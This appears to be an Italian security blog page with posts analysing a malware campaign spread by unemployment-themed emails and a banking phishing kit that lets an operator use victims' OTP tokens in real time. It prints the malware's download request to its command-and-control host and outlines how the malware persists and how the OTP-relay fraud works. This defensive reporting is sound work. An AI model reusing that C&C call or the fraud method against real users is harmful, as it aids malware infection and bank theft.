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pannello di gestione credenziali rubate

Già in passato avevamo parlato (Phishing con operatore per aggirare i token otp) di kit di phishing che permettevano all’operatore della struttura criminale di interagire con la vittima sfruttando il token otp in tempo reale.

Questa tipologia di kit, rilevata nell’autunno 2014, è nel tempo stata impiegata a danno dei clienti di Banca Intesa, Cariparma, Ubi Banca. Continua a leggere

email_disoccupazione

Nella giornata odierna ci è pervenuta la segnalazione di una nuova campagna di diffusione di Malware a mezzo eMail, come potete vedere dallo screenshot in apertura la comunicazione attrae particolarmente l’attenzione del destinatario perché tratta di argomenti molto sensibili ad un dipendente. Il licenziamento e la disoccupazione sono ad oggi due argomenti di forte interesse e preoccupazione pertanto un utente sbadato con il patema di ricevere la notifica di disoccupazione può cadere nel tranello ed aprire l’allegato denominato documenti n.1,2,3_doc.zip tale allegato contiene l’eseguibile documenti n.1,2,3_doc.DOCX.exe in grado di scaricare ed eseguire un malware.

La seguente breve analisi vuole riportare alcuni dettagli tecnici rilevati nell’analisi condotta nei nostri laboratori, per rendere noto il lavoro meticoloso svolto per diffondere virus a partire da una eMail scritta correttamente nel lessico e nei contenuti e anche una importante precisione tecnica per infettare il computer.

Il file allegato, come anticipato, eseguirà il download del malware via web eseguendo la seguente chiamata GET:

GET /gate.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*
Accept-Language: it
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: fridazai.xyz

Il dominio fridazai.xyz che subito colpisce l’occhio non si tratta di un sito internet compromesso, come recentemente accade per la diffusione di Cryptoware, ma è stato registrato ad-hoc il 25 Aprile 2016 sfruttando il WhoisGuard Protected per anonimizzare l’intestazione.

Domain Name: FRIDAZAI.XYZ
Domain ID: D19967705-CNIC
WHOIS Server: whois.namecheap.com
Updated Date: 2016-04-25T16:28:06.0Z
Creation Date: 2016-04-25T16:28:03.0Z
Registry Expiry Date: 2017-04-25T23:59:59.0Z
Sponsoring Registrar: Namecheap
Sponsoring Registrar IANA ID: 1068
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant ID: C47900863-CNIC
Registrant Name: WhoisGuard Protected
Registrant Organization: WhoisGuard, Inc.
>>> Last update of WHOIS database: 2016-05-12T12:01:37.0Z <<<

Fridazai è l’anello chiave di questa analisi essendo un server C&C (Command and Control) gestito dal Bootmaster, il panello di accesso riporta il nome Godzilla e indubbiamente guardando il logo il riferimento al film è decisamente lampante.

 

c&c_godzilla

 

Una volta avviato il malware eseguirà il download attraverso la chiamate GET precedentemente riportata e andrà a replicarsi all’interno della directory Programmi del proprio computer.

 

vlcsnap-2016-05-12-14h12m26s568

 

Successivamente, non avviandosi nell’immediatezza, andrà a memorizzare una nuova chiave nel registro di Windows per avviarsi al successivo avvio.

 

vlcsnap-2016-05-12-14h16m43s063

 

Il nome dell’eseguibile corrisponderà all’id sfruttato nel C&C per rappresentare i computer infetti e salvato anche in un dedicato file .ini

 

vlcsnap-2016-05-12-14h21m48s272

 

Allo stato attuale l’analisi sembrerebbe indicare che il malware riesca a riconoscere di essere in esecuzione su una sand box e adotta comportamenti atti ad evitare la completa analisi. Nell’attesa di ulteriori accertamenti vogliamo mostrarvi alcune schermate del C&C Godlizza Loader rilevate in un forum tematico, i cui particolari lascerebbero ipotizzare che la paternità di questa struttura C&C vada ricercata in Russia.

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console di monitoraggio del phisher

Da tempo si ritiene che l’utilizzo di dispositivi OTP (one time password) sia riuscito a minare le possibilità dei cyber criminali intenzionati ad accedere ai conti correnti degli utenti da cui movimentare i soldi attraverso bonifici, ricariche telefoniche, pagamenti su conti correnti postali, ecc..
E’ innegabile che negli ultimi anni vi sia stato un forte calo dei tentativi di frode di questo tipo, a favore di attacchi di phishing finalizzati a carpire i dati di carta di credito, la cui richiesta può essere inserita in contesti meno allarmanti/sospetti (ricariche telefoniche, acquisto carte ricaricabili, ecc…).

Tuttavia gli attacchi di phishing all’internet banking non sono affatto superati ed hanno anzi visto alcuni gruppi criminali specializzarsi in essi adottando metodiche di interazione diretta con l’utente che consentono loro di sfruttare in tempo reale il token OTP generato dall’utente o dallo stesso ricevuto via sms.

Nel novembre scorso  l’‘attività di analisi di un tentativo di frode a danno di un istituto bancario di livello nazionale ha permesso a D3Lab di recuperare il kit di phishing, l’insieme di file usati dal criminale per proporre in internet le proprie pagine fraudolente, il cui esame ha evidenziato la presenza di un pannello di controllo in stile bot-net.

pannello di controllo del cyber criminale

Mantenendo questo pannello aperto sul proprio browser il cyber criminale riceveva un segnale sonoro ogni qualvolta un utente inserisse le proprie credenziali, avendo così modo di intervenire in tempo reale, sfruttando i diversi token otp richiesti dalle pagine di phishing nel breve lasso di tempo della loro validità e riuscendo in tal modo ad ordinare bonifici e pagamenti.

L’analisi del kit, realizzato in php, denotò la sua estremamente funzionalità, sebbene non presentasse una realizzazione particolarmente complessa e non facesse uso di data base, caratteristica che lo rende facilmente installabile all’interno dei siti violati usualmente usati dai phisher.

Nell’ultimo bimestre 2014 questa tipologia di kit è stato individuato in attacchi di phishing a danno di due istituti bancari nazionali e di una grande gruppo bancario che raccoglie oltre una decina di istituti con diffusione su tutto il territorio nazionale.

L’analisi dei file costituenti il kit recuperato e delle pagine web che le sue varianti propone ha fornito elementi che lasciano ipotizzare una sua origine est-europea. Non è al momento dato sapere se questi kit siano in uso agli stessi soggetti che li hanno realizzati o se siano acquistabili sul mercato criminale e ad operare possano essere soggetti italiani. Ciò che è certo è che chi opera lo fa con estrema rapidità, riuscendo in pochi secondi ad ordinare e autorizzare pagamenti per svariate migliaia di euro.

I tentativi di frode individuati erano attacchi di phishing tradizionale, veicolati attraverso le usuali mail fraudolente, senza che venisse fatto alcun uso di codici malevoli, evidenziando ancora una volta le notevoli potenzialità di questa tipologia di attacchi.